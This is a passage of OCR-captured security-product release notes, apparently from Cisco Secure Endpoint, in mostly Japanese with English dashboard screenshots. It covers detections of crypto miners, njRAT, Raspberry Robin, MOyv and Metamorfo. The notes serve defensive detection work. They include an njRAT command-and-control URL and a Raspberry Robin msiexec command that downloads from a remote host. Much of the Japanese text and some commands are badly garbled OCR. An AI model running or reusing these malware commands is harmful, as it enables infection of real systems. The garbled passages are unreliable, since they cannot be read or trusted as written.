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Detections (=M All Threats

~ Alerts
New =] (6]

All threats that can be detected on your network

Open I Sort by: Severity v Title ‘0\ miner X| ‘

Closed
~ Threat Catalog Lemon Duck Adylkuzz

Detected o Software that uses your computing resources to mine cryptocurrencies Software that uses your computing resources to mine cryptocurrencies

Suppressed Affected Assets: 0 Affected Assets: 0

Al Alerts: 0 Alerts: 0

~ Asset Groups Category: Malware - crypto miner Category: Malware - crypto miner
Affected

| Critical Severity ~ Threat Detail l ‘ High Severity v| Threat Detail
Suppressed S

Settings

CoinMiner Cryptocurrency Miner (T1496)

Softwara that uses your computing resources to mine cryptocurrencies Software that uses your computing resources to mine cryptocurrencies

Affected Assets: 0

Last seen: 21 hours ago
Alerts: 0 Affected Assets: 3
Category: Malware - crypto miner Alerts: 1

Category: Tool - crypto miner
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High Severity ~ Threat Detail I | ‘ High Severity ~| Threat Detail
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MNew Alerts [ Alert Detail

Alert Detail -C. . Download H Close lm

Critical Risk When: July 15th - October 10th Modified: 11 hours ago Affected assets: 2 ETA

77— hEMTEEEZRTST7EY FDTALE YT
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MNew Alerts [ Alert Detail

Alert Detail -C.

When: September 15th - October 25th Modified: 5 hours ago Affected assets: 9

Affected Assets

Q, 10.0.0.5| X
Username: demo_caterina.speier
IP Addresses:  10.0.0.5
Asset Groups: Uncategorized

Threats From: 2022=10-25 11:34:02 CEST To: 2022-10-25 11:34:07 CEST  Duration: 5 seconds

@ njRAT (S0385) () @ - Malicious software for remote control of a target system

Known njRAT User-Agent pattern

HTTP request to URL http://redex.no-ip.info:81/is-ready with User-Agent B2143AD8<|>LPT-
Endpoints Windows Defender .<|>false - 7/9/2020 known to be indicative of njRAT

-1
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(G¥)  BIfE. Z 4 Cisco Secure Endpoint = —— D R 7 7 & AL L COAFIHTE 7, 4
TR L TZORBEFINTT BITIE. cognitive-feedback@cisco.com £ TE - A — /L THM
WEDbELIEIN,
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LW N Z — 2 BN 5 7 ek A0 F(L S 4723805 T, Raspberry Robin, Mozi,
WPAD K870 X OB & T 50— VBN EnE Lz, v—L T, #EDO TP % 1o
OBBIHAREDED Z ENTEET,
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@ Raspberry Robin (1) @ - Windows based Worm capable of spreading through infected external drives

Commands that run scripts
O

Execution of commands C:\windows\system32\cmd.exe /3 /D fc TYPe agGwW.lcO and C:\Windows\Syste

Silent install of downloaded files
7]

Execution of command msleXeC hwp=5| vbMFEI=IcAUSM=KE fgM fibtTP://nwz.Li:B080/yxBfIPCGsQ1cwWWe

Known Raspberry Robin command pattern
2

Execution of command exploREr Removable Disk with pattern known to be indicative of Raspberry Robin

Unusual drive letter
I

Observed unusual drive letter in commands

IO, BHSNTEBEBO 2T A N eBET L8 LV RFERIEEAEBMLUE L, #L
WEE RS EEIZ. DGA 7 7 A V4, 77 UFICEEM T LTV RN — =T e
M, BEIZEWURL 2 EEFOT7 7 A VDX U a— REHEITEET,

AR ME D kIR

Ta—NVEET T — b2Vl Lo TRt SN a T XX MEREFUGELE L, FiM
L7 RAAL TSN THANL—F 4 7275 (0S) 2T 5H LWTY Fe—F 4%
L, TS AEIRTO OS MHO#EH AL L E Lz, 72, Android 7 /34 A DR HFEEE
HRIEIZHRL & E Lz, Android 7734 A OBUTH) 3 fFI2HM L £ L7,

toEX2 7T 43 RICE->TTTIZT By 7 SNTWHIEBEZHRI L CEARRT 2 H1E%
Jrok UE L7z, Cisco Secure Web Appliance (IH CiscoWeb & ¥ =2V 7 4 77747 R) F'm
XN X -T2 AR — h B se-filter-result 7 4 —/L ROV R — F&2BMNT 252 LT, B
EEELLE L-, X512, Cisco Secure Network Analytics (IH Stealthwatch) 7 o—T7 & »
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MOyv

UTOHF LWEBMRHZR— N7+ U AIEMLUE LT,
* MOyv

* Metamorfo
Fo, BBFOBBRE DA o —2—bEHLE LT,

Moyv

MOyvZ, Maze, Egregor, 3 X U'Sekhmet 7 > W A v = 7IZRHHET 5 7/ /L — 72 K - TERE
FOEHEND T 7 ANA T =7 2TE, T, Kiidk (TA0003) D R T A HERAZH
T D LTk, LSASS K74 /3 (T1547.008) ZIEMIZLET, MOyvix, 77 T/ L—
T Ak (TA0008) D7=OIZFEIT7 7 A /v (exe, .dll, .sys, BLOhtml) ZEGSEDH &
IR, HlankiFa 7o (T1080) #EHLET, £/2, avr FT7rFar b

1 —/Li@(E (TA0OLL) (27 7V r—vav@ra han (TI071) EFET7 7V r—va@r
2 k3L (T1095) OWFEFERLEST, ZOT7 7 A NA 7 =27 &%, FEBRIZIL Expiro & L
THRIEESNDAREMERH D £7,

BEWVOBREE T MOyv 23R H SV E 9 022 iR T H12IE, [MOyv & DAl (MOyv Threat
Detail) 1227 Vv 27 LT, ZFa—_VE@ET 57— CTiEMaFRLET,

File infector related to Egregor, Maze and Sekhmet ransomware

Medium Severity

~ 10+ affected assets in 5+ companies

MOyv is a file infector created and used by groups related to Maze, Egregor, and Sekhmet ransomware. MOvy targets LSASS
drivers (T1547.008) by enabling driver privileges for persistence (TAOD03). MOyv uses taint shared content (T1080) by infecting
executable files (exe, dll, sys, and html) for Lateral movement (TAO0O0B). It also uses both application layer protocols (T1071) and
non-application layer protocols (T1095) for command-and-control communication (TAQ011). This file infector can be detected in

the wild as Expiro.

Category: Malware - file infector

Metamorfo

Metamorfo 1%, TR KFBEEZEN ETIHIF U N oL ORETT, Z<OBES. &F&
FREMY—EAWeb I A b7 LYy bh— R E 7oA AFHR (TA0006) ZILE L £
T FIMFATIZIZ ANy F 7 7 4L (T1059.003) ZFIH L. #a&elk (T1027) =2~ FE2¥ 0
o — K L CHEITT 5121 Powershell (T1059.001) ZF|H L F9,
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https://attack.mitre.org/versions/v11/techniques/T1547/008/
https://attack.mitre.org/versions/v11/tactics/TA0003/
https://attack.mitre.org/versions/v11/tactics/TA0008/
https://attack.mitre.org/versions/v11/techniques/T1080/
https://attack.mitre.org/versions/v11/tactics/TA0011/
https://attack.mitre.org/versions/v11/techniques/T1071/
https://attack.mitre.org/versions/v11/techniques/T1095/
https://cta.eu.amp.cisco.com/ui/threats/bdc417a9-d408-45d7-91b0-976f4f2e8195
https://cta.eu.amp.cisco.com/ui/threats/bdc417a9-d408-45d7-91b0-976f4f2e8195
https://attack.mitre.org/versions/v11/tactics/TA0006/
https://attack.mitre.org/versions/v11/techniques/T1059/003/
https://attack.mitre.org/versions/v11/techniques/T1027/
https://attack.mitre.org/versions/v11/techniques/T1059/001/
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BEVOERHE T Metamorfo 23R Z L7z E 5 A #ERT 5 1Z1X, [Metamorfo & D HHH
(Metamorfo Threat Detail) 1 %227 UV v 27 LT, Za— V&7 77— h Tz FRLET,
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Metamorfo
Banking trojan with heavily obfuscated payloads

High Severity ~ 5+ affected assets in 5+ companies

Metamorfo is a banking trojan targeting Latin American countries. It often gathers credit card information and login credentials (TA0006)
for various financial services websites. It is leveraging batch files (T1059.003) for initial execution, later on using Powershell (T1059.001)

to download and execute obfuscated (T1027) commands.

Category: Malware - trojan
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https://cta.eu.amp.cisco.com/ui/threats/429142c8-12be-40f5-b624-1e97c4c61a77
https://cta.eu.amp.cisco.com/ui/threats/429142c8-12be-40f5-b624-1e97c4c61a77
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